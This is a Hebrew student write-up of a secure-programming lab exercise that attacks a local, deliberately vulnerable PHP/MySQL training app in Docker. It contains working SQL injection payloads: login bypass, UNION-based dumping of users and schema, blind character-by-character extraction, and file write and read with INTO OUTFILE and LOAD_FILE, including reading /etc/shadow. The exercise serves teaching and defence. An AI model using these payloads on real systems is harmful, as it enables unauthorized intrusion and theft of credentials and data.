תכנות בטוח תרגיל 1

ליאל אברהם - 216728055, עמית סולומון 216700930

סעיף ראשון - page injection basic - php.login התחברו למערכת בעזרת המשתמש "אליס". שם המשתמש של אליס הוא alice.

בעמוד ה- home נכנסו ל- **login.php - basic injection page** ורצינו להיכנס למערכת בתור alice מבלי לדעת את הסיסמא. קודם כל ניסינו את הדרך שהוצגה בשקופית 6 בתרגול, למדנו ש "--" מסמן בהערה. כלומר אחרי הקלט שנכניס שאר השאילתה תהיה בהערה. וניסינו להכניס את הפרטים:

```
username: NonExistentUser' OR 1=1; --
password: idk
```

זה לא עבד, קיבלנו את השגיאה:

Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '; --') AND (password = 'd67077351ca6ebbf3b3baa770a4fbb58')' at line 1

מהשגיאה הנ"ל ניסינו להסיק את שאילתת ה-SQL מאחוריי עמוד ההתחברות. והגענו ל:

```
SELECT * FROM USERS WHERE (username = 'input') AND (password =
'sha256(input)')
```

ניסינו לחשוב מה הקלט שעלינו להכניס ואיך עלינו לשנות את הקלט ההתחלתי שניסינו, והבנו שעלינו להוסיף סוגר ימני כי הוספת ה "--" תהפוך אותו להערה. הקלט החדש מסומן בצהוב כ- username, כאשר לא משנה איזה password נכניס כי הוא גם ככה יהפוך ללואה.

```
SELECT * FROM USERS WHERE (username = 'NonExistentUser') OR 1=1;
-- ') AND (password = 'sha(input)')
```

עבור הקלט הזה קיבלנו welcome admin! אבל הסעיף דורש שנכנס באמצעות alice, אז במקום לנסות להשיג את כל המשתמשים כפי שניסינו בהתחלה (בהשראת התרגול), לכן ניסינו להיכנס ספציפית עבור המשתמש alice את הקלט הבא, שמשאיר את התנאי של בדיקת שם המשתמש ועדיין מתעלם מתנאי בדיקת הסיסמה:

```
SELECT * FROM USERS WHERE (username = alice'); -- ) AND (password
= sha(input))'
```

וקיבלנו welcome alice!.

סעיף שני - מצאו את שם ה-host המחובר, שם המשתמש, וגרסת השרת בעזרת ממשק החיפוש.

כדי למצוא את גרסת השרת למשל, נרצה להבין מה ה- version(), נעשה זאת לפי שקופית 13 במצגת וניצור קלט מתאים לשורת החיפוש מוצר (בדף שנמצא בקישור **searchproducts.php - multiple exercises** בדף הבית).

ראשית ניחשנו שהשאילתה בדף זה היא מהצורה:

```
SELECT * FROM PRODUCTS WHERE name='input';
```

אבל שמנו לב שממשק החיפוש מוצא *תחיליות* ולא ממש את החיפוש כלומר למשל עבור הקלט cyb הוא מצא את המוצר "cyber", אבל עבור הקלט ybe הוא לא מצא את "cyber".

בנוסף עבור הקלט " ' " (גרש) מקבלים את השגיאה:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '%'' at line 1

בהתאם לכך הבנו שהשאילתה נראית כך (לאחר חיפוש בגוגל על אופרטור % ועל LIKE):

```
SELECT * FROM PRODUCTS WHERE name LIKE 'input%';
```

בניסיון ראשון להזרקת SQL, ניסינו ראשית להשיג את גרסת השרת, על ידי שימוש ב- UNION.

```
SELECT * FROM PRODUCTS WHERE name LIKE 'idk' UNION SELECT
VERSION(); -- %';
```

עבור קלט זה קיבלנו את ההודעה

The used SELECT statements have a different number of columns

אז כעת נותר לנו למצוא כמה עמודות יש בטבלת ה-**PRODUCTS** ולהתאים את השאילתה כך שמס' העמודות יהיה תואם. מצאנו כמה עמודות יש בכך שהשתמשנו בטריק של הוספת "ORDER BY X" שלמדנו בתרגול. הפקודה מסדרת את השאילתה לפי האינדקס ומחזירה שגיאה אם האינדקס חורג ממס' העמודות. התחלנו באופן שרירותי מ-10 (הכנסנו את הקלט הצהוב):

```
SELECT * FROM PRODUCTS WHERE name LIKE 'idk' ORDER BY 10; -- %';
```

וקיבלנו את ההודעה

Unknown column '10' in 'order clause'

מעולה! המטרה של להתחיל ממספר גבוה הוא לראות האם נקבל שגיאה ונוכל להפעיל את האלגו' חיפוש בינארי למציאת מס' העמודות כפי שלמדנו בתרגול - ואנחנו יכולים. אז המשכנו וקיבלנו לבסוף שיש בדיוק 5 עמודות (עבור השאילתה עם 5 לא קיבלנו שגיאה ועבור השאילתה עם 6 כן קיבלנו שגיאה).

כלומר, עבור השאילתה הבאה:

```
SELECT * FROM PRODUCTS WHERE name LIKE 'idk' ORDER BY 6; -- %';
```

קיבלנו את ההודעה

Unknown column '6' in 'order clause'

אבל עבור הקלט

```
SELECT * FROM PRODUCTS WHERE name LIKE 'idk' ORDER BY 5; -- %';
```

לא קיבלנו הודעה כזו, לכן הסקנו שההודעה קיימת ולכן יש יש בדיוק 5 עמודות בטבלה PRODUCTS (שוב, אנחנו לא בטוחים שזה אכן השם של הטבלה אבל סתם ככה אנחנו מניחים).

כעת נותר לעדכן את השאילתה כך שיהיה לה 5 ארגומנטים שמייצגים את 5 העמודות שאנחנו רוצים להוסיף לטבלה. גילינו (דרך האתר הזה) שבאמצעות הוספת NULL אנחנו יכולים להפיק את הדרוש. לבסוף חלק מתוך 5 הארגומנטים יהיו מה שאנו מנסים למצוא: שם ה-host המחובר, שם המשתמש, וגרסת השרת.

```
SELECT * FROM PRODUCTS WHERE name LIKE 'idk' UNION SELECT NULL,
VERSION(), USER(), NULL, NULL; -- %';
```

<u>תשובה סופית:</u>

- שם משתמש - weak
- שם ה-host המחובר - ip שתלוי במחשב, לאחד מאיתנו יצא 172.18.0.3, לשני 172.24.0.2
- גרסת השרת - 8.0.23

סעיף שלישי - גלו את הסיסמא של המשתמש "לורד וולדמורט" בעזרת ממשק החיפוש.

ניסינו ראשית למצוא את השם של טבלת המשתמשים. ניחשנו שהשם שלה הוא USERS.

```
SELECT * FROM PRODUCTS WHERE name LIKE 'idk' UNION SELECT * FROM
USERS; -- %';
```

וקיבלנו את ההודעה

Table 'sqlitraining.USERS' doesn't exist

כלומר אין טבלה עם השם USERS במסד הנתונים. כדי למצוא את השם הנכון של הטבלה, לאחר חיפוש בגוגל, גילינו שיש טבלת metadata שמכילה בתוך את שמות כל הטבלאות במסד הנתונים. אז באמצעות ממשק החיפוש קראנו אותה (שוב היינו צריכים לרפד בNULL כדי שמספר העמודות יהיה תואם):

```
SELECT * FROM PRODUCTS WHERE name LIKE 'idk' UNION SELECT NULL,
table_name, NULL, NULL, NULL FROM information_schema.tables; --
%';
```

ואכן קיבלנו רשימה של כל הטבלאות!! המעניינות מבניהם:

1. cyber_tableAAAAAAAAAAAAA
2. products
3. users

ניתן לראות את ההבדל מבניהם ביחס לשאר הטבלאות- שהן כתובות באותיות קטנות ומרגיש שהן נוצרו ע"י השרת. כדי למצוא את הסיסמאות נחפש בטבלה users. נריץ את השאילתה הבאה

```
SELECT * FROM PRODUCTS WHERE name LIKE 'idk' UNION SELECT * FROM
users; -- %';
```

במקרה מספר העמודות תואם ולכן יכלנו להשתמש ב-UNION ואכן קיבלנו את כל המידע הדרוש ומצאנו שההאש של הסיסמא של המשתמש "לורד וולדמורט" היא:

‘856936b417f82c06139c74fa73b1abbe’

זה כמובן לא הסיסמה האמיתית, אלא ה-hash של הסיסמה. אלגו' ההאש הוא md5 (ניתן להסיק זאת ע"י אורך הhash). לאחר חיפוש בגוגל לאתר שמבצע את ההיפוך של הhash (הרי md5 הוא לא בטוח) קיבלנו שהסיסמה היא: **horcrux**. ובאמת אפשר להשוות אותה עם הסיסמה שידועה לנו למשתמש voldemort שבעמוד הבית.

סעיף רביעי - מצאו את הטבלה sqlitraining ואת כל השדות שבה באמצעות ממשק החיפוש.

למעשה את הטבלה מצאנו עוד בסעיף הקודם כשחיפשנו את שמות כל הטבלאות השמורות במסד הנתונים. שם הטבלה הוא "cyber_tableAAAAAAAAAAAAA".

```
SELECT * FROM PRODUCTS WHERE name LIKE 'idk' UNION SELECT * FROM
cyber_tableAAAAAAAAAAAAA; -- %';
```

וקיבלנו את ההודעה

The used SELECT statements have a different number of columns

לכן הוספנו null-ים בדומה לסעיפים הקודמים כדי להשלים למספר העמודות הרצוי.

```
SELECT * FROM PRODUCTS WHERE name LIKE 'idk' UNION SELECT NULL,
COLUMN_NAME, NULL, NULL, NULL FROM information_schema.COLUMNS; --
%';
```

כעת נרצה למצוא את השדות בטבלה שלנו, מצאנו אותם באמצעות הקלט הבא:

```
SELECT * FROM PRODUCTS WHERE name LIKE 'idk' UNION SELECT NULL,
COLUMN_NAME, NULL, NULL, NULL FROM information_schema.COLUMNS
WHERE TABLE_NAME = 'cyber_tableAAAAAAAAAAAAA'; -- %';
```

וקיבלנו את הטבלה:

Product Name	Product Type	Description	Price (in USD)
cyberId			
cyberHour			

אז הצלחנו למצוא את הטבלה הסודית ואת שמות השדות שלה, ונרצה עכשיו למצוא את תוכן הטבלה.
כשהרצנו את ההזרקה הבאה, קיבלנו טבלה ריקה.

```
SELECT * FROM PRODUCTS WHERE name LIKE 'idk' UNION SELECT NULL,
cyberId, cyberHour, NULL, NULL FROM cyber_tableAAAAAAAAAAAAA; --
%';
```

ווידאנו רק שלא טעינו בהזרקה בכך שעשינו אותו דבר רק לטבלה users ואכן קיבלנו את השדות עם התכנים שלהם.

```
SELECT * FROM PRODUCTS WHERE name LIKE 'idk' UNION SELECT NULL,
id, password, username, fname FROM users; -- %';
```

סכה"כ מצאנו את שם הטבלה הסודית (cyber_tableAAAAAAAAAAAAA), את שמות השדות שלה (cyberId, cyberHour) ואת תוכן הטבלה (ריק).

סעיף חמישי - באמצעות חולשת sql blind, מצאו כמה ערכים יש בטבלה שמאוחסנת במסד הנתונים המסתורי secure, רשמו גם מהם הערכים שבטבלה.

כדי לפתור את הסעיף ולמצוא כמה ערכים יש בטבלה, כתבנו סקריפט שנכנס לכתובת בקישור **http://localhost:8000/blindsqli.php?user=alice**. כאשר במקום alice נכתוב את ההזרקה שאנו רוצים לבצע (למשל alice' AND 1=1).

מכיוון שמסד הנתונים אינו מחזיר את התוצאות ישירות, היינו צריכים למצוא דרך אחרת לחלץ את הנתונים.
הרעיון היה לשלוח שאילתות שמחזירות רק תשובות של אמת או שקר, ועל סמך זה, לנחש את הערך תו אחר תו.
סקריפט זה עזר לנו להפוך את תהליך הניחושים לאוטומטי על ידי שליחת בקשות HTTP רבות. בכל פעם, בדקנו האם הביטוי "In wonderland right now" מופיע בדף, אם כן התשובה היא אמת, אחרת שקר.
כך הצלחנו למצוא את הנתונים הנדרשים ממסד הנתונים המאובטח.
וקיבלנו בהרצה ש:

```
This script is performing a blind sql attack.
It can ask true or false questions to the database by trying to sign in as alice if an expression is true.
This script find all of the tables in the 'secure' database (there's only one),
 look for all the columns for the table (again, only one) and find the values of the fields in the table.

Login successful! Captured Cookie: PHPSESSID=fba8af3e46fae6ac477aa5615627397c
--------------------------------------------------
  TABLE NAME: 789b05678e7f955d2cf125b0c05616c9
--------------------------------------------------
In table 789b05678e7f955d2cf125b0c05616c9 found 2 columns (fields) and 3 rows (entries):
id        random
1         4b58c6247edb2007f6d81825bd7b8e06a90768f76328fe27b225a38ae2bfefff
2         VeryRandomIndeed
3         ThisisthelastrowWelldone
```

סעיף שישי - כמה טבלאות יש במסד נתונים? מה השם שלהם? כמה עמודות יש לכל טבלה? ומה שמות העמודות?

בהמשך לסעיף הרביעי בו מצאנו ספציפית את הטבלה cyber_tableAAAAAAAAAAAAA עם information_schema.COLUMNS, בסעיף זה רצינו למצוא את כל הטבלאות והעמודות שלהן במסד הנתונים sqlitraining לכן השתמשנו בשאילתה הבא והכנסנו את הקלט בצהוב לממשק החיפוש.

```
SELECT * FROM PRODUCTS WHERE name LIKE 'idk' UNION SELECT NULL,
TABLE_SCHEMA, COLUMN_NAME, TABLE_NAME, NULL FROM
information_schema.COLUMNS WHERE TABLE_SCHEMA = 'sqlitraining'; --
%';
```

וקיבלנו את הטבלה הבאה:

Product Name	Product Type	Description	Price (in USD)
sqlitraining	cyberId	cyber_tableAAAAAAAAAAAAA	
sqlitraining	cyberHour	cyber_tableAAAAAAAAAAAAA	
sqlitraining	id	products	
sqlitraining	product_name	products	
sqlitraining	product_type	products	
sqlitraining	description	products	
sqlitraining	price	products	
sqlitraining	id	users	
sqlitraining	username	users	
sqlitraining	password	users	
sqlitraining	fname	users	
sqlitraining	description	users	

נשים לב שיש במסד נתונים **sqlitraining** שלוש טבלאות:

- cyber_tableAAAAAAAAAAAAA - עם העמודות cyberId, cyberHour.
- products - עם העמודות id, product_name, product_type, description, price.
- users - עם העמודות username, password, fname, description.

בנוסף, בסעיף הקודם קיבלנו שאלו הן הטבלאות והשדות במסד נתונים **secure**:

- 789b05678e7f955d2cf125b0c05616c9 - עם העמודות id, random.

נשים לב שאם נריץ:

```
SELECT * FROM PRODUCTS WHERE name LIKE 'idk' UNION SELECT NULL,
TABLE_SCHEMA, COLUMN_NAME, TABLE_NAME, NULL FROM
information_schema.COLUMNS; -- %';
```

נקבל את כל הטבלאות שנמצאות בשרת.

סעיף שביעי - השתמשו ב-os sql כדי לכתוב את המחרוזת "Hello, World" לנתיב: home/hello_world.txt/

נסיונות (שלא הצליחו)

נשים לב שאנחנו שוב ב blind sql injection, כלומר ההזרקה תתבצע בחלק שלאחר השורה הבאה:

http://localhost:8000/os_sqli.php?user=

האינטואיציה הראשונית שלנו הייתה לנסות לבצע שאילתה נוספת בתוך אותה שורה, אך בדומה לסעיפים הקודמים, גם הפעם זה לא עבד:

```
http://localhost:8000/blindsqli.php?user='; SELECT 'Hello, World' INTO OUTFILE '/home/hello_world.txt'; -- a
```

ניסינו עוד דברים שונים, אבל המשכנו להיכשל. עם זאת, שמנו לב שה-UNION עדיין עובד לנו כהזרקה אז ניסינו להמשיך בכיוון הזה. גילינו שכאשר שעושים INTO OUTFILE ואז את שם הקובץ, ניתן להפנות את הפלט של השאילתה לתוך קובץ ששמור ביזכרון של שרת מסד הנתונים. ואכן הניסיון האחרון שלנו היה:

```
http://localhost:8000/blindsqli.php?user=' UNION SELECT "Hello World!", '', '', '', '' INTO OUTFILE '/home/hello_world.txt' -- -
```

מספר העמודות הוא 5, שמנו בהתחלה מחרוזת ריקה כי לא רצינו שחלק מטבלת ה user-ים תהיה בתוך הקובץ וכן זו הסיבה ללמה הוספנו מחרוזות ריקות במקום NULL.

בדיקה:

גילינו שניתן להדפיס דברים דרך הדוקר ובכך אנחנו יכולים לבדוק האם הצלחנו ליצור קובץ ואכן אם נריץ:
docker exec -it ex1-db-1 cat /home/hello_world.txt

נקבל את הפלט:

```
liel@vulcan:~/Apps/Cyber/Cyber-Ex1$ docker exec -it ex1-db-1 cat /home/hello_world.txt
Hello World!
```

סעיף שמיני - מצאו את תוכן הקובץ flag.txt בתיקייה home.

נשלב את סעיף 5 שבו למדנו על דרך לקלוט מחרוזות שלמות ב blind sql יחד עם סעיף 7 בו למדנו שניתן להשתמש במערכת הקבצים במסד נתונים. לאחר חקירה קצרה גילינו על הפונקציה LOAD_FILE שקוראת מקובץ קיים במסד הנתונים, ככה למשל השורה הבאה:

```
http://localhost:8000/blindsqli.php?user=alice' AND
ASCII(SUBSTRING(LOAD_FILE('/home/hello_world.txt'),1,1))=72 -- -
```

תחזיר את העמוד עם alice (שכן התו הראשון בקובץ הוא H, כלומר 72 באסקי) והשורה הבאה:

```
http://localhost:8000/blindsqli.php?user=alice' AND
ASCII(SUBSTRING(LOAD_FILE('/home/hello_world.txt'),1,1))=73 -- -
```

תחזיר עמוד ריק (שכן התו הראשון לא תואם ל-I אלא ל-H).
ככה נעשה לכל התווים בקובץ /home/flag.txt, וכדי לשפר יעילות נבצע חיפוש בינארי במקום סריקה לינארית כפי שעשינו עד כה. קיבלנו את הדבר הבא:

```
Flag content: _6????D?1?t)??+M?L??w??N?q????r*}F???c??
```

חלק מהתווים הם סימני שאלה, זה כי הם בכלל לא נמצאים בטווח של תווי אסקי ברי הדפסה שקבענו. לכן הדגל הוא:

```
Flag content:
c29240c2abc2a4c3afc3a5c2945174c3ac04c3b4131e03230fc2b13b600964c3b8
5a6d471120c29b54c28ec28dc2b9104fc29ec28d46c390c2bc
```

סעיף תשיעי - נסו לקרוא את התוכן של הקובץ /etc/shadow או קובץ דומה. אם הצלחתם, כל הכבוד! אם לא, הסבירו מדוע ומה ניסיתם.

התחלנו מלנסות את אותה השיטה של שלב 8 על שלב 9, ולא קיבלנו כלום. חיפשנו בגוגל על הקובץ הזה כי נדמה שהוא אחד מאוד ספציפי שאנחנו מתבקשים למצוא. מסתבר שהקובץ מכיל את כל הסיסמאות ורמת ההרשאה שלו היא ה root ובפרט מסד הנתונים עצמו לא מסוגל לגשת אליו ברמת הרשאת היוזר שלו.

כדי לעקוף את זה, הפעלנו את הפקודה הבאה

```
docker exec -u root 0a4377f8dbfa chmod 644 /etc/shadow
```

(מה שמסומן באדום זה ה-id של ה-container של ה-database, מספיק לתת לנו רק הרשאות קריאה אבל נתנו 644 באופן שרירותי).

לאחר מכן, היינו מסוגלים להפעיל את אותו הקוד על הקובץ החדש (כעת ניתן לראות את הקובץ כתווים רגילים ולא בבסיס הקסדצימלי כי ניתן להדפיס אותם).

```
amits@amit:~/Cyber/ex11/Cyber-Ex1$ python3 question9.py
root:*:18697:0:99999:7:::
daemon:*:18697:0:99999:7:::
bin:*:18697:0:99999:7:::
sys:*:18697:0:99999:7:::
sync:*:18697:0:99999:7:::
games:*:18697:0:99999:7:::
man:*:18697:0:99999:7:::
lp:*:18697:0:99999:7:::
mail:*:18697:0:99999:7:::
news:*:18697:0:99999:7:::
uucp:*:18697:0:99999:7:::
proxy:*:18697:0:99999:7:::
www-data:*:18697:0:99999:7:::
backup:*:18697:0:99999:7:::
list:*:18697:0:99999:7:::
irc:*:18697:0:99999:7:::
gnats:*:18697:0:99999:7:::
nobody:*:18697:0:99999:7:::
_apt:*:18697:0:99999:7:::
mysql:!:18698::::::
```

חשוב לציין שאם השרת היה ציבורי כמובן שלא היינו יכול להפעיל עליו את הפקודת קבלת הרשאות בכזאת קלות שהרי על מנת לקבל הרשאה כל כך גבוהה מישהו צריך להעניק לנו אותה ואף injection למסד נתונים לא יכול לעזור כל עוד לו אין את ההרשאה. עם זאת התקיפה עדיין מלמדת אותנו על החשיבות של הגבלת גישה של מסד הנתונים.

הוראות הרצה

chmod +x start.sh

./start.sh

localhost:8000/resetdb.php

חומרי עזר

1. מצגת תרגול 1
2. חיפוש על הפקודה LIKE והאופרטור %
3. למידה על הקיום של צירוף עמודה NULL כעמודה נוספת כדי להשוות בין מספר העמודות בין שאילתת SELECT אחת לאחרת
4. שרת SQL אונליין לתרגול